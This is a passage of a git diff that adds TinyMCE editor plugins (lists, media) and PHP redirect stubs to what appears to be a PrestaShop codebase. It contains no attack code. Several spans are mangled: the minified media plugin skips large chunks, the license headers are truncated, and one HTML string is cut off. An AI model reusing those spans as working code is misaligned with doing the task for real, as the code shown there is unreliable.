false; + } + + /* + If we are at the end of a list item surrounded with an element, pressing enter should create a + new list item instead without splitting the element e.g. don't want to create new P or H1 tag + */ + function isEndOfListItem() { + var node = ed.selection.getNode(); + var validElements = 'h1,h2,h3,h4,h5,h6,p,div'; + var isLastParagraphOfLi = ed.dom.is(node, validElements) && node.parentNode.tagName === 'LI' && node.parentNode.lastChild === node; + return ed.selection.isCollapsed() && isLastParagraphOfLi && isCursorAtEndOfContainer(); + } + + // Creates a new list item after the current selection's list item parent + function createNewLi(ed, e) { + if (isEnterWithoutShift(e) && isEndOfListItem()) { + var node = ed.selection.getNode(); + var li = ed.dom.create("li"); + var parentLi = ed.dom.getParent(node, 'li'); + ed.dom.insertAfter(li, parentLi); + + // Move caret to new list element. + if (tinymce.isIE6 || tinymce.isIE7 || tinyMCE.isIE8) { + li.appendChild(ed.dom.create(" ")); // IE needs an element within the bullet point + ed.selection.setCursorLocation(li, 1); + } else if (tinyMCE.isGecko) { + // This setTimeout is a hack as FF behaves badly if there is no content after the bullet point + setTimeout(function () { + var n = ed.getDoc().createTextNode('\uFEFF'); + li.appendChild(n); + ed.selection.setCursorLocation(li, 0); + }, 0); + } else { + ed.selection.setCursorLocation(li, 0); + } + e.preventDefault(); + } + } + + function imageJoiningListItem(ed, e) { + var prevSibling; + + if (!tinymce.isGecko) + return; + + var n = ed.selection.getStart(); + if (e.keyCode != tinymce.VK.BACKSPACE || n.tagName !== 'IMG') + return; + + function lastLI(node) { + var child = node.firstChild; + var li = null; + do { + if (!child) + break; + + if (child.tagName === 'LI') + li = child; + } while (child = child.nextSibling); + + return li; + } + + function addChildren(parentNode, destination) { + while (parentNode.childNodes.length > 0) + destination.appendChild(parentNode.childNodes[0]); + } + + // Check if there is a previous sibling + prevSibling = n.parentNode.previousSibling; + if (!prevSibling) + return; + + var ul; + if (prevSibling.tagName === 'UL' || prevSibling.tagName === 'OL') + ul = prevSibling; + else if (prevSibling.previousSibling && (prevSibling.previousSibling.tagName === 'UL' || prevSibling.previousSibling.tagName === 'OL')) + ul = prevSibling.previousSibling; + else + return; + + var li = lastLI(ul); + + // move the caret to the end of the list item + var rng = ed.dom.createRng(); + rng.setStart(li, 1); + rng.setEnd(li, 1); + ed.selection.setRng(rng); + ed.selection.collapse(true); + + // save a bookmark at the end of the list item + var bookmark = ed.selection.getBookmark(); + + // copy the image an its text to the list item + var clone = n.parentNode.cloneNode(true); + if (clone.tagName === 'P' || clone.tagName === 'DIV') + addChildren(clone, li); + else + li.appendChild(clone); + + // remove the old copy of the image + n.parentNode.parentNode.removeChild(n.parentNode); + + // move the caret where we saved the bookmark + ed.selection.moveToBookmark(bookmark); + } + + // fix the cursor position to ensure it is correct in IE + function setCursorPositionToOriginalLi(li) { + var list = ed.dom.getParent(li, 'ol,ul'); + if (list != null) { + var lastLi = list.lastChild; + lastLi.appendChild(ed.getDoc().createElement('')); + ed.selection.setCursorLocation(lastLi, 0); + } + } + + this.ed = ed; + ed.addCommand('Indent', this.indent, this); + ed.addCommand('Outdent', this.outdent, this); + ed.addCommand('InsertUnorderedList', function() { + this.applyList('UL', 'OL'); + }, this); + ed.addCommand('InsertOrderedList', function() { + this.applyList('OL', 'UL'); + }, this); + + ed.onInit.add(function() { + ed.editorCommands.addCommands({ + 'outdent': function() { + var sel = ed.selection, dom = ed.dom; + + function hasStyleIndent(n) { + n = dom.getParent(n, dom.isBlock); + return n && (parseInt(ed.dom.getStyle(n, 'margin-left') || 0, 10) + parseInt(ed.dom.getStyle(n, 'padding-left') || 0, 10)) > 0; + } + + return hasStyleIndent(sel.getStart()) || hasStyleIndent(sel.getEnd()) || ed.queryCommandState('InsertOrderedList') || ed.queryCommandState('InsertUnorderedList'); + } + }, 'state'); + }); + + ed.onKeyUp.add(function(ed, e) { + if (state == LIST_TABBING) { + ed.execCommand(e.shiftKey ? 'Outdent' : 'Indent', true, null); + state = LIST_UNKNOWN; + return Event.cancel(e); + } else if (state == LIST_EMPTY_ITEM) { + var li = getLi(); + var shouldOutdent = ed.settings.list_outdent_on_enter === true || e.shiftKey; + ed.execCommand(shouldOutdent ? 'Outdent' : 'Indent', true, null); + if (tinymce.isIE) { + setCursorPositionToOriginalLi(li); + } + + return Event.cancel(e); + } else if (state == LIST_ESCAPE) { + if (tinymce.isIE6 || tinymce.isIE7 || tinymce.isIE8) { + // append a zero sized nbsp so that caret is positioned correctly in IE after escaping and applying formatting. + // if there is no text then applying formatting for e.g a H1 to the P tag immediately following list after + // escaping from it will cause the caret to be positioned on the last li instead of staying the in P tag. + var n = ed.getDoc().createTextNode('\uFEFF'); + ed.selection.getNode().appendChild(n); + } else if (tinymce.isIE9 || tinymce.isGecko) { + // IE9 does not escape the list so we use outdent to do this and cancel the default behaviour + // Gecko does not create a paragraph outdenting inside a TD so default behaviour is cancelled and we outdent ourselves + ed.execCommand('Outdent'); + return Event.cancel(e); + } + } + }); + + function fixListItem(parent, reference) { + // a zero-sized non-breaking space is placed in the empty list item so that the nested list is + // displayed on the below line instead of next to it + var n = ed.getDoc().createTextNode('\uFEFF'); + parent.insertBefore(n, reference); + ed.selection.setCursorLocation(n, 0); + // repaint to remove rendering artifact. only visible when creating new list + ed.execCommand('mceRepaint'); + } + + function fixIndentedListItemForGecko(ed, e) { + if (isEnter(e)) { + var li = getLi(); + if (li) { + var parent = li.parentNode; + var grandParent = parent && parent.parentNode; + if (grandParent && grandParent.nodeName == 'LI' && grandParent.firstChild == parent && li == parent.firstChild) { + fixListItem(grandParent, parent); + } + } + } + } + + function fixIndentedListItemForIE8(ed, e) { + if (isEnter(e)) { + var li = getLi(); + if (ed.dom.select('ul li', li).length === 1) { + var list = li.firstChild; + fixListItem(li, list); + } + } + } + + function fixDeletingFirstCharOfList(ed, e) { + function listElements(list, li) { + var elements = []; + var walker = new tinymce.dom.TreeWalker(li, list); + for (var node = walker.current(); node; node = walker.next()) { + if (ed.dom.is(node, 'ol,ul,li')) { + elements.push(node); + } + } + return elements; + } + + if (e.keyCode == tinymce.VK.BACKSPACE) { + var li = getLi(); + if (li) { + var list = ed.dom.getParent(li, 'ol,ul'); + if (list && list.firstChild === li) { + var elements = listElements(list, li); + ed.execCommand("Outdent", false, elements); + ed.undoManager.add(); + return Event.cancel(e); + } + } + } + } + + function fixDeletingEmptyLiInWebkit(ed, e) { + var li = getLi(); + if (e.keyCode === tinymce.VK.BACKSPACE && ed.dom.is(li, 'li') && li.parentNode.firstChild!==li) { + if (ed.dom.select('ul,ol', li).length === 1) { + var prevLi = li.previousSibling; + ed.dom.remove(ed.dom.select('br', li)); + ed.dom.remove(li, true); + var textNodes = tinymce.grep(prevLi.childNodes, function(n){ return n.nodeType === 3 }); + if (textNodes.length === 1) { + var textNode = textNodes[0] + ed.selection.setCursorLocation(textNode, textNode.length); + } + ed.undoManager.add(); + return Event.cancel(e); + } + } + } + + ed.onKeyDown.add(function(_, e) { state = getListKeyState(e); }); + ed.onKeyDown.add(cancelDefaultEvents); + ed.onKeyDown.add(imageJoiningListItem); + ed.onKeyDown.add(createNewLi); + + if (tinymce.isGecko) { + ed.onKeyUp.add(fixIndentedListItemForGecko); + } + if (tinymce.isIE8) { + ed.onKeyUp.add(fixIndentedListItemForIE8); + } + if (tinymce.isGecko || tinymce.isWebKit) { + ed.onKeyDown.add(fixDeletingFirstCharOfList); + } + if (tinymce.isWebKit) { + ed.onKeyDown.add(fixDeletingEmptyLiInWebkit); + } + }, + + applyList: function(targetListType, oppositeListType) { + var t = this, ed = t.ed, dom = ed.dom, applied = [], hasSameType = false, hasOppositeType = false, hasNonList = false, actions, + selectedBlocks = ed.selection.getSelectedBlocks(); + + function cleanupBr(e) { + if (e && e.tagName === 'BR') { + dom.remove(e); + } + } + + function makeList(element) { + var list = dom.create(targetListType), li; + + function adjustIndentForNewList(element) { + // If there's a margin-left, outdent one level to account for the extra list margin. + if (element.style.marginLeft || element.style.paddingLeft) { + t.adjustPaddingFunction(false)(element); + } + } + + if (element.tagName === 'LI') { + // No change required. + } else if (element.tagName === 'P' || element.tagName === 'DIV' || element.tagName === 'BODY') { + processBrs(element, function(startSection, br) { + doWrapList(startSection, br, element.tagName === 'BODY' ? null : startSection.parentNode); + li = startSection.parentNode; + adjustIndentForNewList(li); + cleanupBr(br); + }); + if (li) { + if (li.tagName === 'LI' && (element.tagName === 'P' || selectedBlocks.length > 1)) { + dom.split(li.parentNode.parentNode, li.parentNode); + } + attemptMergeWithAdjacent(li.parentNode, true); + } + return; + } else { + // Put the list around the element. + li = dom.create('li'); + dom.insertAfter(li, element); + li.appendChild(element); + adjustIndentForNewList(element); + element = li; + } + dom.insertAfter(list, element); + list.appendChild(element); + attemptMergeWithAdjacent(list, true); + applied.push(element); + } + + function doWrapList(start, end, template) { + var li, n = start, tmp; + while (!dom.isBlock(start.parentNode) && start.parentNode !== dom.getRoot()) { + start = dom.split(start.parentNode, start.previousSibling); + start = start.nextSibling; + n = start; + } + if (template) { + li = template.cloneNode(true); + start.parentNode.insertBefore(li, start); + while (li.firstChild) dom.remove(li.firstChild); + li = dom.rename(li, 'li'); + } else { + li = dom.create('li'); + start.parentNode.insertBefore(li, start); + } + while (n && n != end) { + tmp = n.nextSibling; + li.appendChild(n); + n = tmp; + } + if (li.childNodes.length === 0) { + li.innerHTML = '
    '; + } + makeList(li); + } + + function processBrs(element, callback) { + var startSection, previousBR, END_TO_START = 3, START_TO_END = 1, + breakElements = 'br,ul,ol,p,div,h1,h2,h3,h4,h5,h6,table,blockquote,address,pre,form,center,dl'; + + function isAnyPartSelected(start, end) { + var r = dom.createRng(), sel; + bookmark.keep = true; + ed.selection.moveToBookmark(bookmark); + bookmark.keep = false; + sel = ed.selection.getRng(true); + if (!end) { + end = start.parentNode.lastChild; + } + r.setStartBefore(start); + r.setEndAfter(end); + return !(r.compareBoundaryPoints(END_TO_START, sel) > 0 || r.compareBoundaryPoints(START_TO_END, sel) <= 0); + } + + function nextLeaf(br) { + if (br.nextSibling) + return br.nextSibling; + if (!dom.isBlock(br.parentNode) && br.parentNode !== dom.getRoot()) + return nextLeaf(br.parentNode); + } + + // Split on BRs within the range and process those. + startSection = element.firstChild; + // First mark the BRs that have any part of the previous section selected. + var trailingContentSelected = false; + each(dom.select(breakElements, element), function(br) { + if (br.hasAttribute && br.hasAttribute('_mce_bogus')) { + return true; // Skip the bogus Brs that are put in to appease Firefox and Safari. + } + if (isAnyPartSelected(startSection, br)) { + dom.addClass(br, '_mce_tagged_br'); + startSection = nextLeaf(br); + } + }); + trailingContentSelected = (startSection && isAnyPartSelected(startSection, undefined)); + startSection = element.firstChild; + each(dom.select(breakElements, element), function(br) { + // Got a section from start to br. + var tmp = nextLeaf(br); + if (br.hasAttribute && br.hasAttribute('_mce_bogus')) { + return true; // Skip the bogus Brs that are put in to appease Firefox and Safari. + } + if (dom.hasClass(br, '_mce_tagged_br')) { + callback(startSection, br, previousBR); + previousBR = null; + } else { + previousBR = br; + } + startSection = tmp; + }); + if (trailingContentSelected) { + callback(startSection, undefined, previousBR); + } + } + + function wrapList(element) { + processBrs(element, function(startSection, br, previousBR) { + // Need to indent this part + doWrapList(startSection, br); + cleanupBr(br); + cleanupBr(previousBR); + }); + } + + function changeList(element) { + if (tinymce.inArray(applied, element) !== -1) { + return; + } + if (element.parentNode.tagName === oppositeListType) { + dom.split(element.parentNode, element); + makeList(element); + attemptMergeWithNext(element.parentNode, false); + } + applied.push(element); + } + + function convertListItemToParagraph(element) { + var child, nextChild, mergedElement, splitLast; + if (tinymce.inArray(applied, element) !== -1) { + return; + } + element = splitNestedLists(element, dom); + while (dom.is(element.parentNode, 'ol,ul,li')) { + dom.split(element.parentNode, element); + } + // Push the original element we have from the selection, not the renamed one. + applied.push(element); + element = dom.rename(element, 'p'); + mergedElement = attemptMergeWithAdjacent(element, false, ed.settings.force_br_newlines); + if (mergedElement === element) { + // Now split out any block elements that can't be contained within a P. + // Manually iterate to ensure we handle modifications correctly (doesn't work with tinymce.each) + child = element.firstChild; + while (child) { + if (dom.isBlock(child)) { + child = dom.split(child.parentNode, child); + splitLast = true; + nextChild = child.nextSibling && child.nextSibling.firstChild; + } else { + nextChild = child.nextSibling; + if (splitLast && child.tagName === 'BR') { + dom.remove(child); + } + splitLast = false; + } + child = nextChild; + } + } + } + + each(selectedBlocks, function(e) { + e = findItemToOperateOn(e, dom); + if (e.tagName === oppositeListType || (e.tagName === 'LI' && e.parentNode.tagName === oppositeListType)) { + hasOppositeType = true; + } else if (e.tagName === targetListType || (e.tagName === 'LI' && e.parentNode.tagName === targetListType)) { + hasSameType = true; + } else { + hasNonList = true; + } + }); + + if (hasNonList &&!hasSameType || hasOppositeType || selectedBlocks.length === 0) { + actions = { + 'LI': changeList, + 'H1': makeList, + 'H2': makeList, + 'H3': makeList, + 'H4': makeList, + 'H5': makeList, + 'H6': makeList, + 'P': makeList, + 'BODY': makeList, + 'DIV': selectedBlocks.length > 1 ? makeList : wrapList, + defaultAction: wrapList, + elements: this.selectedBlocks() + }; + } else { + actions = { + defaultAction: convertListItemToParagraph, + elements: this.selectedBlocks() + }; + } + this.process(actions); + }, + + indent: function() { + var ed = this.ed, dom = ed.dom, indented = []; + + function createWrapItem(element) { + var wrapItem = dom.create('li', { style: 'list-style-type: none;'}); + dom.insertAfter(wrapItem, element); + return wrapItem; + } + + function createWrapList(element) { + var wrapItem = createWrapItem(element), + list = dom.getParent(element, 'ol,ul'), + listType = list.tagName, + listStyle = dom.getStyle(list, 'list-style-type'), + attrs = {}, + wrapList; + if (listStyle !== '') { + attrs.style = 'list-style-type: ' + listStyle + ';'; + } + wrapList = dom.create(listType, attrs); + wrapItem.appendChild(wrapList); + return wrapList; + } + + function indentLI(element) { + if (!hasParentInList(ed, element, indented)) { + element = splitNestedLists(element, dom); + var wrapList = createWrapList(element); + wrapList.appendChild(element); + attemptMergeWithAdjacent(wrapList.parentNode, false); + attemptMergeWithAdjacent(wrapList, false); + indented.push(element); + } + } + + this.process({ + 'LI': indentLI, + defaultAction: this.adjustPaddingFunction(true), + elements: this.selectedBlocks() + }); + + }, + + outdent: function(ui, elements) { + var t = this, ed = t.ed, dom = ed.dom, outdented = []; + + function outdentLI(element) { + var listElement, targetParent, align; + if (!hasParentInList(ed, element, outdented)) { + if (dom.getStyle(element, 'margin-left') !== '' || dom.getStyle(element, 'padding-left') !== '') { + return t.adjustPaddingFunction(false)(element); + } + align = dom.getStyle(element, 'text-align', true); + if (align === 'center' || align === 'right') { + dom.setStyle(element, 'text-align', 'left'); + return; + } + element = splitNestedLists(element, dom); + listElement = element.parentNode; + targetParent = element.parentNode.parentNode; + if (targetParent.tagName === 'P') { + dom.split(targetParent, element.parentNode); + } else { + dom.split(listElement, element); + if (targetParent.tagName === 'LI') { + // Nested list, need to split the LI and go back out to the OL/UL element. + dom.split(targetParent, element); + } else if (!dom.is(targetParent, 'ol,ul')) { + dom.rename(element, 'p'); + } + } + outdented.push(element); + } + } + + var listElements = elements && tinymce.is(elements, 'array') ? elements : this.selectedBlocks(); + this.process({ + 'LI': outdentLI, + defaultAction: this.adjustPaddingFunction(false), + elements: listElements + }); + + each(outdented, attemptMergeWithAdjacent); + }, + + process: function(actions) { + var t = this, sel = t.ed.selection, dom = t.ed.dom, selectedBlocks, r; + + function isEmptyElement(element) { + var excludeBrsAndBookmarks = tinymce.grep(element.childNodes, function(n) { + return !(n.nodeName === 'BR' || n.nodeName === 'SPAN' && dom.getAttrib(n, 'data-mce-type') == 'bookmark' + || n.nodeType == 3 && (n.nodeValue == String.fromCharCode(160) || n.nodeValue == '')); + }); + return excludeBrsAndBookmarks.length === 0; + } + + function processElement(element) { + dom.removeClass(element, '_mce_act_on'); + if (!element || element.nodeType !== 1 || selectedBlocks.length > 1 && isEmptyElement(element)) { + return; + } + element = findItemToOperateOn(element, dom); + var action = actions[element.tagName]; + if (!action) { + action = actions.defaultAction; + } + action(element); + } + + function recurse(element) { + t.splitSafeEach(element.childNodes, processElement); + } + + function brAtEdgeOfSelection(container, offset) { + return offset >= 0 && container.hasChildNodes() && offset < container.childNodes.length && + container.childNodes[offset].tagName === 'BR'; + } + + function isInTable() { + var n = sel.getNode(); + var p = dom.getParent(n, 'td'); + return p !== null; + } + + selectedBlocks = actions.elements; + + r = sel.getRng(true); + if (!r.collapsed) { + if (brAtEdgeOfSelection(r.endContainer, r.endOffset - 1)) { + r.setEnd(r.endContainer, r.endOffset - 1); + sel.setRng(r); + } + if (brAtEdgeOfSelection(r.startContainer, r.startOffset)) { + r.setStart(r.startContainer, r.startOffset + 1); + sel.setRng(r); + } + } + + + if (tinymce.isIE8) { + // append a zero sized nbsp so that caret is restored correctly using bookmark + var s = t.ed.selection.getNode(); + if (s.tagName === 'LI' && !(s.parentNode.lastChild === s)) { + var i = t.ed.getDoc().createTextNode('\uFEFF'); + s.appendChild(i); + } + } + + bookmark = sel.getBookmark(); + actions.OL = actions.UL = recurse; + t.splitSafeEach(selectedBlocks, processElement); + sel.moveToBookmark(bookmark); + bookmark = null; + + // we avoid doing repaint in a table as this will move the caret out of the table in Firefox 3.6 + if (!isInTable()) { + // Avoids table or image handles being left behind in Firefox. + t.ed.execCommand('mceRepaint'); + } + }, + + splitSafeEach: function(elements, f) { + if (tinymce.isGecko && (/Firefox\/[12]\.[0-9]/.test(navigator.userAgent) || + /Firefox\/3\.[0-4]/.test(navigator.userAgent))) { + this.classBasedEach(elements, f); + } else { + each(elements, f); + } + }, + + classBasedEach: function(elements, f) { + var dom = this.ed.dom, nodes, element; + // Mark nodes + each(elements, function(element) { + dom.addClass(element, '_mce_act_on'); + }); + nodes = dom.select('._mce_act_on'); + while (nodes.length > 0) { + element = nodes.shift(); + dom.removeClass(element, '_mce_act_on'); + f(element); + nodes = dom.select('._mce_act_on'); + } + }, + + adjustPaddingFunction: function(isIndent) { + var indentAmount, indentUnits, ed = this.ed; + indentAmount = ed.settings.indentation; + indentUnits = /[a-z%]+/i.exec(indentAmount); + indentAmount = parseInt(indentAmount, 10); + return function(element) { + var currentIndent, newIndentAmount; + currentIndent = parseInt(ed.dom.getStyle(element, 'margin-left') || 0, 10) + parseInt(ed.dom.getStyle(element, 'padding-left') || 0, 10); + if (isIndent) { + newIndentAmount = currentIndent + indentAmount; + } else { + newIndentAmount = currentIndent - indentAmount; + } + ed.dom.setStyle(element, 'padding-left', ''); + ed.dom.setStyle(element, 'margin-left', newIndentAmount > 0 ? newIndentAmount + indentUnits : ''); + }; + }, + + selectedBlocks: function() { + var ed = this.ed + var selectedBlocks = ed.selection.getSelectedBlocks(); + return selectedBlocks.length == 0 ? [ ed.dom.getRoot() ] : selectedBlocks; + }, + + getInfo: function() { + return { + longname : 'Lists', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/lists', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + tinymce.PluginManager.add("lists", tinymce.plugins.Lists); +}()); diff --git a/js/tiny_mce/plugins/lists/index.php b/js/tiny_mce/plugins/lists/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/lists/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/media/css/index.php b/js/tiny_mce/plugins/media/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/media/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/media/css/media.css b/js/tiny_mce/plugins/media/css/media.css new file mode 100755 index 0000000..fd04898 --- /dev/null +++ b/js/tiny_mce/plugins/media/css/media.css @@ -0,0 +1,17 @@ +#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } +#hspace, #vspace { width: 50px } +#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } +#flash_base, #flash_flashvars, #html5_altsource1, #html5_altsource2, #html5_poster { width: 240px } +#width, #height { width: 40px } +#src, #media_type { width: 250px } +#class { width: 120px } +#prev { margin: 0; border: 1px solid black; width: 380px; height: 260px; overflow: auto } +.panel_wrapper div.current { height: 420px; overflow: auto } +#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } +.mceAddSelectValue { background-color: #DDDDDD } +#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } +#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } +#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } +#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } +#qt_qtsrc { width: 200px } +iframe {border: 1px solid gray} diff --git a/js/tiny_mce/plugins/media/editor_plugin.js b/js/tiny_mce/plugins/media/editor_plugin.js new file mode 100755 index 0000000..37b4320 --- /dev/null +++ b/js/tiny_mce/plugins/media/editor_plugin.js @@ -0,0 +1 @@ +(function(){var d=tinymce.explode("id,name,width,height,style,align,class,hspace,vspace,bgcolor,type"),h=tinymce.makeMap(d.join(",")),b=tinymce.html.Node,f,a,g=tinymce.util.JSON,e;f=[["Flash","d27cdb6e-ae6d-11cf-96b8-444553540000","application/x-shockwave-flash","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"],["ShockWave","166b1bca-3f9c-11cf-8075-444553540000","application/x-director","http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0"],["WindowsMedia","6bf52a52-394a-11d3-b153-00c04f79faa6,22d6f312-b0f6-11d0-94ab-0080c74c7e95,05589fa1-c356-11ce-bf01-00aa0055595a","application/x-mplayer2","http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701"],["QuickTime","02bf25d5-8c17-4b23-bc80-d3488abddc6b","video/quicktime","http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"],["RealMedia","cfcdaa03-8be4-11cf-b84b-0020afbbccfa","audio/x-pn-realaudio-plugin","http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"],["Java","8ad9c840-044e-11d1-b3e9-00805f499d93","application/x-java-applet","http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"],["Silverlight","dfeaf541-f3e1-4c24-acac-99c30715084a","application/x-silverlight-2"],["Iframe"],["Video"],["EmbeddedAudio"],["Audio"]];function c(m){var l,j,k;if(m&&!m.splice){j=[];for(k=0;true;k++){if(m[k]){j[k]=m[k]}else{break}}return j}return m}tinymce.create("tinymce.plugins.MediaPlugin",{init:function(n,j){var r=this,l={},m,p,q,k;function o(i){return i&&i.nodeName==="IMG"&&n.dom.hasClass(i,"mceItemMedia")}r.editor=n;r.url=j;a="";for(m=0;m0){N+=(N?"&":"")+O+"="+escape(P)}});if(N.length){G.params.flashvars=N}K=p.getParam("flash_video_player_params",{allowfullscreen:true,allowscriptaccess:true});tinymce.each(K,function(P,O){G.params[O]=""+P})}}G=z.attr("data-mce-json");if(!G){return}G=g.parse(G);q=this.getType(z.attr("class"));B=z.attr("data-mce-style");if(!B){B=z.attr("style");if(B){B=p.dom.serializeStyle(p.dom.parseStyle(B,"img"))}}if(q.name==="Iframe"){x=new b("iframe",1);tinymce.each(d,function(i){var n=z.attr(i);if(i=="class"&&n){n=n.replace(/mceItem.+ ?/g,"")}if(n&&n.length>0){x.attr(i,n)}});for(I in G.params){x.attr(I,G.params[I])}x.attr({style:B,src:G.params.src});z.replace(x);return}if(this.editor.settings.media_use_script){x=new b("script",1).attr("type","text/javascript");y=new b("#text",3);y.value="write"+q.name+"("+g.serialize(tinymce.extend(G.params,{width:z.attr("width"),height:z.attr("height")}))+");";x.append(y);z.replace(x);return}if(q.name==="Video"&&G.video.sources[0]){C=new b("video",1).attr(tinymce.extend({id:z.attr("id"),width:z.attr("width"),height:z.attr("height"),style:B},G.video.attrs));if(G.video.attrs){l=G.video.attrs.poster}k=G.video.sources=c(G.video.sources);for(A=0;A 0) + flashVarsOutput += (flashVarsOutput ? '&' : '') + name + '=' + escape(value); + }); + + if (flashVarsOutput.length) + data.params.flashvars = flashVarsOutput; + + params = editor.getParam('flash_video_player_params', { + allowfullscreen: true, + allowscriptaccess: true + }); + + tinymce.each(params, function(value, name) { + data.params[name] = "" + value; + }); + } + }; + + data = node.attr('data-mce-json'); + if (!data) + return; + + data = JSON.parse(data); + typeItem = this.getType(node.attr('class')); + + style = node.attr('data-mce-style') + if (!style) { + style = node.attr('style'); + + if (style) + style = editor.dom.serializeStyle(editor.dom.parseStyle(style, 'img')); + } + + // Handle iframe + if (typeItem.name === 'Iframe') { + replacement = new Node('iframe', 1); + + tinymce.each(rootAttributes, function(name) { + var value = node.attr(name); + + if (name == 'class' && value) + value = value.replace(/mceItem.+ ?/g, ''); + + if (value && value.length > 0) + replacement.attr(name, value); + }); + + for (name in data.params) + replacement.attr(name, data.params[name]); + + replacement.attr({ + style: style, + src: data.params.src + }); + + node.replace(replacement); + + return; + } + + // Handle scripts + if (this.editor.settings.media_use_script) { + replacement = new Node('script', 1).attr('type', 'text/javascript'); + + value = new Node('#text', 3); + value.value = 'write' + typeItem.name + '(' + JSON.serialize(tinymce.extend(data.params, { + width: node.attr('width'), + height: node.attr('height') + })) + ');'; + + replacement.append(value); + node.replace(replacement); + + return; + } + + // Add HTML5 video element + if (typeItem.name === 'Video' && data.video.sources[0]) { + // Create new object element + video = new Node('video', 1).attr(tinymce.extend({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }, data.video.attrs)); + + // Get poster source and use that for flash fallback + if (data.video.attrs) + posterSrc = data.video.attrs.poster; + + sources = data.video.sources = toArray(data.video.sources); + for (i = 0; i < sources.length; i++) { + if (/\.mp4$/.test(sources[i].src)) + mp4Source = sources[i].src; + } + + if (!sources[0].type) { + video.attr('src', sources[0].src); + sources.splice(0, 1); + } + + for (i = 0; i < sources.length; i++) { + source = new Node('source', 1).attr(sources[i]); + source.shortEnded = true; + video.append(source); + } + + // Create flash fallback for video if we have a mp4 source + if (mp4Source) { + addPlayer(mp4Source, posterSrc); + typeItem = self.getType('flash'); + } else + data.params.src = ''; + } + + // Add HTML5 audio element + if (typeItem.name === 'Audio' && data.video.sources[0]) { + // Create new object element + audio = new Node('audio', 1).attr(tinymce.extend({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }, data.video.attrs)); + + // Get poster source and use that for flash fallback + if (data.video.attrs) + posterSrc = data.video.attrs.poster; + + sources = data.video.sources = toArray(data.video.sources); + if (!sources[0].type) { + audio.attr('src', sources[0].src); + sources.splice(0, 1); + } + + for (i = 0; i < sources.length; i++) { + source = new Node('source', 1).attr(sources[i]); + source.shortEnded = true; + audio.append(source); + } + + data.params.src = ''; + } + + if (typeItem.name === 'EmbeddedAudio') { + embed = new Node('embed', 1); + embed.shortEnded = true; + embed.attr({ + id: node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style, + type: node.attr('type') + }); + + for (name in data.params) + embed.attr(name, data.params[name]); + + tinymce.each(rootAttributes, function(name) { + if (data[name] && name != 'type') + embed.attr(name, data[name]); + }); + + data.params.src = ''; + } + + // Do we have a params src then we can generate object + if (data.params.src) { + // Is flv movie add player for it + if (/\.flv$/i.test(data.params.src)) + addPlayer(data.params.src, ''); + + if (args && args.force_absolute) + data.params.src = editor.documentBaseURI.toAbsolute(data.params.src); + + // Create new object element + object = new Node('object', 1).attr({ + id : node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style + }); + + tinymce.each(rootAttributes, function(name) { + var value = data[name]; + + if (name == 'class' && value) + value = value.replace(/mceItem.+ ?/g, ''); + + if (value && name != 'type') + object.attr(name, value); + }); + + // Add params + for (name in data.params) { + param = new Node('param', 1); + param.shortEnded = true; + value = data.params[name]; + + // Windows media needs to use url instead of src for the media URL + if (name === 'src' && typeItem.name === 'WindowsMedia') + name = 'url'; + + param.attr({name: name, value: value}); + object.append(param); + } + + // Setup add type and classid if strict is disabled + if (this.editor.getParam('media_strict', true)) { + object.attr({ + data: data.params.src, + type: typeItem.mimes[0] + }); + } else { + object.attr({ + classid: "clsid:" + typeItem.clsids[0], + codebase: typeItem.codebase + }); + + embed = new Node('embed', 1); + embed.shortEnded = true; + embed.attr({ + id: node.attr('id'), + width: node.attr('width'), + height: node.attr('height'), + style : style, + type: typeItem.mimes[0] + }); + + for (name in data.params) + 